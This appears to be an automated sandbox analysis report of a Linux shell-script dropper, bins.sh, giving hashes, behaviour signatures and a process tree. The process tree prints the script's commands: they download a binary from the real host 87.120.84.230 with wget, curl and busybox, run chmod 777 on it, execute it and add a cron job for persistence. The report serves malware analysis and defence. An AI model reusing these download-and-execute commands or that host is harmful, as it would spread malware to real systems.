Analysis
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max time kernel
149s -
max time network
151s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04-11-2024 07:02
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
9df6a14e6b4001c13a62b4575e200d63
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SHA1
cf287c33fa75d8178ce187e258d33ff816a4e30e
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SHA256
0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51
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SHA512
1977eaf21cf49b7ac8b52497369a28ca4f0d974fa98da6be70a5eea14c222d5d8566c1eb308d59da88d564637ecc999ce6ed42bb1c941edda62eb4b0b9ea6163
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SSDEEP
192:Skc9kILGOtvHftOzUQoogUQWkakILGObvh:SxxtOSKz
Malware Config
Signatures
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Contacts a large (2223) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid Process 1515 chmod -
Executes dropped EXE 1 IoCs
Processes:
osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WXioc pid Process /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX 1516 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX -
Renames itself 1 IoCs
Processes:
osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WXpid Process 1517 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.JBRG1q crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WXdescription ioc Process File opened for reading /proc/31/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/164/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/166/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/406/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1140/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/11/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/15/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/27/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1529/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1585/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1716/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1281/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1509/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1652/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1717/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/79/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/172/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1058/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1718/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/169/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1559/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1677/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1548/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1623/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1734/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/175/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/410/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1111/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1144/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1298/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1501/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1526/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1532/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/8/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/18/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/568/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1628/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1680/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1728/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1641/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1646/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1730/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/170/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/599/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1551/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1540/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1554/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1555/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1610/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1685/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/173/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/958/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1534/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1714/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1727/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1642/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1645/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1757/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/36/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/319/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1616/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1190/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1541/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1560/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxdescription ioc Process File opened for modification /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX wget File opened for modification /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX curl File opened for modification /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1506
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/bin/rm/bin/rm bins.sh2⤵PID:1507
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/usr/bin/wgetwget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Writes file to tmp directory
PID:1508
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/usr/bin/curlcurl -O http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Writes file to tmp directory
PID:1513
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Writes file to tmp directory
PID:1514
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/bin/chmodchmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- File and Directory Permissions Modification
PID:1515
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/tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1516 -
/bin/shsh -c "crontab -l"3⤵PID:1518
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/usr/bin/crontabcrontab -l4⤵PID:1519
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/bin/shsh -c "crontab -"3⤵PID:1520
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1521
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/bin/rmrm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵PID:1523
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/usr/bin/wgetwget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE2⤵PID:1526
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
210B
MD55d7e77feea09bb688ca711570969db47
SHA1c23d404996951e445e28b063b0bc4c8dae0da249
SHA25642ff51f214314ccd2a9a34c299d25a52cf295d09a0247d4baea9b8df79715b1a
SHA512a87f3f8ce47648274994f4c8ff90edbd6d0e273b43fd7c2c6af80c78b56d6cd11cda77e360e40a78ebdc0c63a0fd87f133fdce3170d203673c3a8a90d5290be9